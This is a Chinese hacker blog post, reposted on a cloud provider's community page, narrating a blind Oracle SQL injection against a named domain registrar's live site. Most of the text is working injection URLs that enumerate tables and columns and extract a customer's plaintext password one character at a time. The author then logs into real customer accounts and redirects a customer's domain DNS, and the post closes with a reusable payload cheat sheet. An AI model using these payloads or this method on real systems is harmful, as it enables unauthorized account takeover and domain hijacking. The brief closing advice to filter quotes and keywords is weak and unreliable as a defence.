萬網的尷尬-萬網ORACLE注入漏洞曝光

來源:互聯網
上載者:User
其實駭客在攻擊的時候最重要的是思路,技術我想大家沒人敢說自己一定是最好、最新的吧!

萬網的尷尬-萬網ORACLE注入漏洞曝光
    前段時間,手上的項目做完以後,閑著無事,便在網上到處逛逛。看見群裡的朋友聊天說自己的什麼什麼站什麼什麼論壇開張了。歡迎大家去玩去下載東東,還是.com,.com.cn的網域名稱,很是羨慕啊。蝦米時候我才能有自己的主機和頂級網域名稱呢……幻想流口水中……。想到申請主機和網域名稱,自然就想到了中國萬網(在中國太有名嘛^_^)。去那裡看看吧,看看到底要多少米。順手就開啟了萬網的首頁。哇哢,一台標準的ASP.NET主機一年要1600大元……一個網域名稱要200。剛想算了,又看到了首頁右上方的會員登陸介面,平時做安全的習慣讓我“賊”心又起。呵呵,那就來看看能不能發現什麼漏洞,弄個會員就好拉,反正現在也沒什麼事做。
隨便在網站內轉了轉,在關於萬網裡看到:萬網(www.net.cn)是中國最大的網域名稱和網站託管服務提供者。是中國互連網服務行業的旗艦。號稱擁有10多年Unix經驗的系統工程師、CISCO路由器專家、Orcale資料庫專家 、微軟MCSE認證工程師、Java/ASP/Perl/C編程高手和網路安全專家。咳咳……汗。這種大網站伺服器的安全措施恐怕不知道做了N條。說不定做了映射,加了N進階的IDS和FW,說不定還做了蜜罐等著呢,補丁肯定素早打全了。拿出連接埠掃描的工具掃了一下……鬱悶了……。看來直接從伺服器入侵是沒什麼希望了……
繼續轉了轉,發現了一個情況,嘿嘿,萬網的網站使用ASP寫的。要知道,前段時間ASP+MSSQL的注入可是鬧的沸沸揚揚,不少網站都吃了苦頭。萬網這種大網站,會有這種問題嗎?不管了,先試一試再說。找了個連結:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
這是個購買虛擬機器主機的頁面,先用經典的and 1=1 and 1=2方法來測試了一下。我暈~全部都是傳回型別不匹配: 'CDbl'錯誤。唉,難道真的是不行了嗎?還是不甘心,再來看一看用的什麼資料庫吧。在參數後面加上一個單引號,提交,頁面返回錯誤:
OraOLEDB 錯誤 '80004005'
ORA-01756: 括弧內的字串沒有正確結束
/HAS_Client/buy/vir_host/vir_host1_SB.asp,行285
哈哈,原來用的是ORACLE。難怪。而一般用ORACLE資料庫出現這樣的返回錯誤,都是可能存在問題的。這和MSSQL出現什麼未閉合的引號的返回錯誤差不多,不過MSSQL出現那樣的錯誤提示我們就幾乎可以肯定存在注入漏洞了,而ORACLE則要再進一步確定一下。

一下子來了精神,繼續做進一步的判定。注意,以下幾步的判定是我們後面的入侵的基礎,非常重要。
    我們再分別提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20all_tables)%20and%20'1'='1
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tables)%20and%20'1'='1
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns)%20and%20'1'='1
這幾個是看看有沒有有沒有我們猜測的ORACLE的系統資料表all_tables,user_tables和user_tab_columns。我們以後的滲透都要靠這幾個系統資料表才能完成。如果沒有,就沒的玩拉。

頁面全都成功返回了,說明存在猜測的系統資料表,同時也說明我們提交的SQL語句,程式做了處理。到此,也確認了這個頁面確實存在SQL注入漏洞。YEAH!
    在給萬網發了N封郵件無反應後,我開始了進一步的滲透。
    下面,我們就開始正式的注入。當然,如果上面猜測系統資料表的頁面不能正常返回的話……那多半是不能成功了。^_^
    首先我們來整理一下思路。資料庫中最關鍵的就是使用者的帳號資訊,而最最關鍵的就是使用者的使用者名稱和密碼。我們首要的目標就是這個。那怎麼在ORACLE資料庫中定位這個資訊呢。我們來這樣做,user_tab_columns這個系統資料表裡存放了所有的使用者表的列名。我們就從這裡下手。提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
這裡的意思是查詢user_tab_columns表裡有沒有包含PASSWORD字串的列名。

頁面正確返回,哈哈,說明有列名是包含PASSWORD字串的。
我們也可以測試PWD,ADMIN,PASS等等敏感的欄位。這裡我們就從PASSWORD這個下手。知道了有包含PASSWORD字串的列名。那我們怎麼來知道是什麼表包含了這個列名呢?我們這樣做,提交
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1
這裡的意思是查看資料庫中以A開頭的表中有沒有列名是包含PASSWORD欄位的。如果有的話頁面就會正確返回。否則就會報錯:
Microsoft VBScript 執行階段錯誤 錯誤 '800a000d'
類型不符: 'CDbl'
/HAS_Client/include/vh_getproperty.asp,行46

可是這樣一個個試實在是……太累……26個字母呢……。這裡我利用了NBSI的後台管理地址掃描功能來進行自動檢測。我們這樣做:
    NBSI的後台管理地址掃描的地址是由Dict_Admin.txt這個檔案來控制的。我們就把檔案的內容換成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='B')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='C')%20AND%20'1'='1



然後我們在程式中掃描地址中填上http://www.net.cn/HAS_Client/buy/vir_host。點開始掃描。NBSI就開始幫我們一個個去GET設定的地址了。這裡有一個問題,就是500錯誤NBSI也會顯示在下面的結果欄裡,而我們只要它顯示返回200 OK的地址。怎麼辦呢?我們拿出我們的WPE PRO。WPE PRO是一個即時截獲修改資料包的工具。我們用它把返回的500錯誤改成404頁面不存在。那NBSI就不會在下面顯示這個500錯誤的地址了。WPE的具體用法我這裡就不詳細說了,網上有教程的。給出個。

這樣,可以使我們猜測的效率大大的提高。後面的大規模的猜測也是這樣。
通過猜測,我們得到了有以C,D,H,M,S,V開頭的表中包含了敏感欄位。一個個來看吧。累哦:)
先來看C。資料庫中以C開頭的資料表可能有很多,到底哪個是我們所需要的那個呢。我們繼續來猜測第二位。把Dict_Admin.txt(以下簡稱ADMIN)檔案的內容用全部替換功能換成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CB')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CC')%20AND%20'1'='1



再次進行檢測。OK,得到我們所需要的那個表的前兩個字元是CU。然後再檢測第三位。。。如此迴圈。最後得到包含有敏感列名的以C開頭的表明為CUSTOMERMST。看到了CUSTOMER……嘿嘿,有戲哦。當然,猜到五個字元左右的時候,你可以提交
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name like '%25XXXXX%25' and length(table_name)=N) and '1'='1
來確定猜測的表名的長度是多少。這樣更準確快捷一些。
猜完了表名,可以提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name= 'CUSTOMERMST') and '1'='1
來確認一下。頁面正確返回就OK了。:)
繼續繼續。到現在,我們還不知道具體的列名。下面我們就著手開始猜測CUSTOMERMST表的列名。由於ORACLE沒有象MSSQL那樣“砰”的一聲直接暴欄位的功能,所以我們只能去慢慢猜,累啊。。。幸虧個自製的NBSI+WPE的土檢測器。。。*_*。閑話少說,下面來猜測列名,將ADMIN檔案的內容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='B')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='C')%20AND%20'1'='1



這裡的意思是通過猜測來看看在CUSTOMERMST表中存在哪些字母開頭的列名。頁面正確返回,也就是返回200 OK,那就是存在。

通過檢測,知道存在以A,B,C,E,F,G,I,L,M,O,P,R,S,U開頭的列名。我暈,這麼多。。。沒辦法,慢慢來吧。先來看A開頭的:
這裡的方法和上面猜測表名的方法差不多,將ADMIN檔案的內容改為:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AB')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AC')%20AND%20'1'='1



OK,得到前兩位是AR,繼續。。。最後得到列名為AREAID。這裡需要注意一點的是,在一位位檢測的時候,可能出來多個結果,就說明有多個列名。比如檢測以B開頭的第二位的時候,BI和BU都返回200 OK,那麼就說明有以BI,BU開頭的列名,下面要分別去猜。以此類推,最後我們得到了CUSTOMERMST表的所有列名(擦一下汗……):
AREAID
BIRTHDAY
BIZID
BUSINESSSTATUS
CHANNEL_STAFFID
CITYID
CONTACT
COUNTRY
CUSTOMERID
CUSTOMERINDUSTRY
CUSTOMERORIGINTYPE
EMAIL
EMAILBACKUP



PASSWORD



USERID


看名字,就知道CUSTOMERID,PASSWORD和USERID這三個欄位是最重要的。

萬網在登陸的時候是用一個數字ID和密碼登陸的。那麼這兩個ID到底哪個才是用來登陸的ID呢?我們這樣來做。到萬網首頁登陸框那裡,用通過使用者名稱查數字ID的方法查個ID過來。恩。。。用什麼使用者的名字呢?我們可是對資料的類型一無所知啊。在首頁上轉了轉,發現底部有個萬網新客戶推薦欄目。仔細看了一下,有個房地產門戶-搜房網http://www.soufun.com/ 恩,就用soufun這個名字好了~^_^

OK,得到soufun使用者的ID是10529112。下面我們就來確定哪個欄位才是ID欄位。提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID='10529112')%20and%20'1'='1
哇靠,頁面沒有正確返回,返回了錯誤。看來不是這個欄位。再提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112')%20and%20'1'='1
OK,嘿嘿,這次頁面正確返回了。看來USERID欄位是放使用者登陸ID的。同樣方法,檢測出CUSTOMERID欄位是放使用者名稱的。
欄位屬性知道了,下面開始猜密碼了,還是用這個admin使用者。當然,還是要一位位的猜。終於可以猜密碼了,嘿嘿。不累了。將ADMIN檔案內容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='c')%20AND%20'1'='1



vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='2')%20AND%20'1'='1



這裡要加上是個阿拉伯數字,密碼一般是字母加數字嘛:)。上面就是猜ID為10529112的使用者的密碼的第一位。幾秒過後,密碼第一位出來了,是n。繼續猜第二位,方法和上面猜表名,列名的方法一樣,唯一不同的就是這裡不會出現多個結果了。最後得到ID是10529112的使用者的密碼是n****。我暈,密碼竟然不加密。。。資料庫和安全專家呢。。。?
猜出了密碼,恩,來登陸一下SEESEE,嘿嘿。

哈哈,登陸OK!。。。可用金額竟然素-130元……,暈!還能透支的?欺騙偶滴感情T_T。不怕!找到存錢的欄位,UPDATE!嘿嘿……可惜我試了N次都不知道該怎麼正確的執行update和insert,5555555。哪位高手有好的方法,大家交流一下:)
    當然,登陸進去以後就有了這個帳戶的一切權利。先來看看已付款產品管理。……什麼東東都沒有,暈!再來看看這個使用者的財務資訊:

恩……開啟最近的一筆交易。發現是轉了130大元到了10144167。難道10144167這個帳號才素有錢人?:P
    馬上破解出10144167的密碼u******,登陸進去。哈哈,原來是網域名稱分銷聯盟夥伴,有錢人~餘額329^_^.再開啟已付款產品管理,再哈哈,這麼多網域名稱啊~:P

開啟頁面底部的網域名稱解析綜合服務,HOHO找到了中文通用網域名稱註冊-搜房網.中國。點擊,就來到了搜房網.中國的網域名稱解析服務頁面,這裡我們可以隨意更改搜房網.中國的解析,來控制網域名稱指向。
說到這裡,我的心思已經不是去弄個會員了。因為這樣的危害實在是太大了。想想看,我們得到了使用者帳號和密碼,登陸進去,就可以輕易更改使用者購買的網域名稱的指向,指到我們指定的位置。試想一個惡意的攻擊者,把某個商業網站的網域名稱指向指到自己製作的一個假的網站去,那麼使用者登陸這個商業網站的帳號資訊也就等於毫無安全可言了。我們訪問在萬網註冊網域名稱的網站將全部亂套。而對於購買了虛擬機器主機服務的使用者來說,危害就是,攻擊者通過萬網提供的網站管理系統,可以完全控制網站,這個危害就不用說了。
對於萬網來說,其所有的業務都有可能受到影響,資料可以被任意擷取篡改,我想沒有客戶敢這樣申請業務吧,呵呵。
比如就用上面的那個擁有很多網域名稱的使用者來做個示範。我想讓szsxmd.gd.cn這個網域名稱解析到著名的www.xfocus.net安全焦點。首先我PING一下www.xfocus.net得到IP為202.106.127.50。然後,我進入網域名稱解析綜合業務,在szsxmd.gd.cn這個網域名稱的解析業務裡加一條記錄,指定解析IP為202.106.127.50 。

過了幾個小時以後,網域名稱解析生效,我們再訪問szsxmd.gd.cn時,就會發現,我們來到了安全焦點的頁面:)

而在命令列中PING szsxmd.gd.cn時,會發現,位址解析為202.106.127.50:)

其他的一些危害是顯而易見的,並且比較大,我就不再做實際的示範了。
資料庫可以說是一個網站的重中之重。通過這個注入漏洞,我們完全可以控制資料庫中的資料,不光光是使用者帳號的資訊,所有存在資料庫中的資料,我們都可以擷取,體力活而已了。在開放PUBLIC組的UTL_FILE許可權的情況下,其實還可以用UNION查詢讀取伺服器上的檔案,這點和PHP+MYSQL注入中的load_file()有些相似。當然也可以執行UPDATE之類的。只是在ORACLE注入上,我還是個菜鳥,還沒能更新插入資料和進行更進階的注入攻擊。而且ORACLE的注入只能一位位的去猜,並且沒有自動化的工具。我是利用了NBSI的後台掃描功能和WPE來提高了效率。不過我相信,高手是很多的,自動化的工具也很快就會出現。^_^
    這裡總結一下一些注入時用到的語句:
0〈〉(select count(*) from all_tables) and ’1’=’1    猜測是否有all_tables系統資料表,確認注入
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名關鍵字%25’) AND ’1’=’1    猜測是否有包含定義關鍵字的列名
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名關鍵字%25’ and substr(table_name,1,1)=’A’) AND ’1’=’1    包含關鍵列名的表中是否有以A開頭的。即開始一位位猜表。
0〈〉(select count(*) from user_tables where table_name like ’%25表名關鍵字%25’ and length(table_name)=N) and ’1’=’1    猜測包表名含有關鍵字的表的長度
0〈〉(select count(*) from user_tab_columns where table_name=’表名’ and substr(column_name,1,1)=’A’) AND ’1’=’1    猜測列名
0〈〉(select count(*) from 表名 where 列名1=’XXXXXXXX’ and substr(列名2,1,1)=’a’) AND ’1’=’1    猜測資料
    那麼,ORACLE注入漏洞的原理是什麼呢?這裡我就簡單的介紹一下。就拿我們注入的這個頁面來說。
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
在ASP程式的源碼中的查詢語句可能是:
select * from TABLE where PACKAGEID =’10341’
因為作為一個非開來源程式的攻擊者來說,我們無從知道ASP程式中的源碼究竟是什麼樣子的,只能通過返回的錯誤資訊來判斷大概的結構。所以這裡我是舉個大概的樣子。
閑話少說。我們一起來分析。當我們訪問這個頁面時,ASP程式就根據URL中提交的參數10341去查詢了TABLE表中PACKAGEID為10341的資料並且把它返回給我們。從我們測試的情況看,這個參數並沒有做過濾就放到了查詢語句中,這就給我們的注入提供了條件。當我們提交http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1 時。在ASP程式中的查詢語句就變成了這樣:
select * from TABLE where PACKAGEID =’10341’ and 0<>(select count(*) from all_tables) and ‘1’=’1’
這樣我們就成功的把我們想執行的查詢語句插入了ASP程式原來的查詢語句中。這裡和MSSQL有所不同的是,我們不能用—符號將後面的語句注釋掉,後面的and ‘1’=’1就是為了匹配多出來的那個引號,從而使整個查詢語句成立,正常返回頁面。比如提交http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1’ and ‘x’=’x  整個頁面也是正常返回的^_^。
    其實要防止這種注入很簡單,只要對在URL中提交的參數進行嚴格的過濾,去除一些比如單引號,SQL關鍵字等不應該出現的字元,應該來說,攻擊者就沒有什麼機會了。具體的做法可以是檢查提交的URL中?號後面的字串,發現有單引號,分號,SQL關鍵字等不該出現的字元的,馬上就跳轉到一個自訂的ERROR頁面。個人認為這樣是比較好的方法。尤其對於非開來源程式的攻擊者來說,幾乎就是絕路了。
    網路安全是多方面的,每個環節都必須要時刻注意。可以用一個鏈條來做比喻,如果這個鏈條中任意一個環節出了問題,那麼整個鏈就斷了。就像萬網的這個漏洞,雖然只是一個很小很小的問題,但是其影響是很大的,可以輕易的改變萬網客戶網域名稱指向。如果我把很多的網域名稱都指向某個網站,那這個網站就相當於癱掉了。所以網路上的安全不是某家或者某些人的事情,而是需要我們整體從上到下都去做好,才可以。另外,自從經曆了許許多多的蠕蟲,病毒的攻擊以後,大家普遍對自己伺服器的安全關注起來,裝FW,IDS,電信也參與進來封了一些連接埠。有些網站甚至就只開了80口。那麼在伺服器上啟動並執行代碼的安全,就顯得格外的重要了。一個小小地方的小小疏忽,就有可能造成全域的崩潰。防禦技術在不斷進步,攻擊手段也在不斷翻新。今天有SQL注入,明天又會出現什麼呢?時刻關注最新的攻擊手段,我想對於一個優秀的管理員是非常重要的。遺憾的是現在有許多程式員在編寫代碼時還沒有一個安全意識,而管理員只是把寫好的代碼放到伺服器上,管好伺服器的安全(我們公司也是這樣,呵呵),代碼的編寫漏洞,就成為了一個突破口。我從高中就開始關注安全的問題,現在也在從事這方面的工作。可以說現在的網路比起以前,安全了太多太多,但是技術在進步,今天的安全不代表明天的安全。安全是一個永恒的話題。我個人的感覺是,那些蠕蟲,病毒,是加強網管們安全意識的最有力武器,同樣我相信,利用代碼缺陷的攻擊,也會加強程式員們編寫代碼時的安全意識。^_^
最後,希望萬網解決這個漏洞,對於專家們來說,我想解決這個問題也許只要花不到5分鐘。另外,加強一下自己資料庫的資料安全,加個密吧。還有,你們的郵件伺服器沒問題吧?順便提一下,國內還有很多網站有這樣的注入漏洞,比如XX之家,XX部等:)
    感謝大家耐心的看完我的陋文。偶水平有限,如果有什麼錯誤,歡迎大家能指正,偶的MSN:war3apollo@hotmail.com。對於外面的世界來說,偶永遠是只菜鳥:)。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.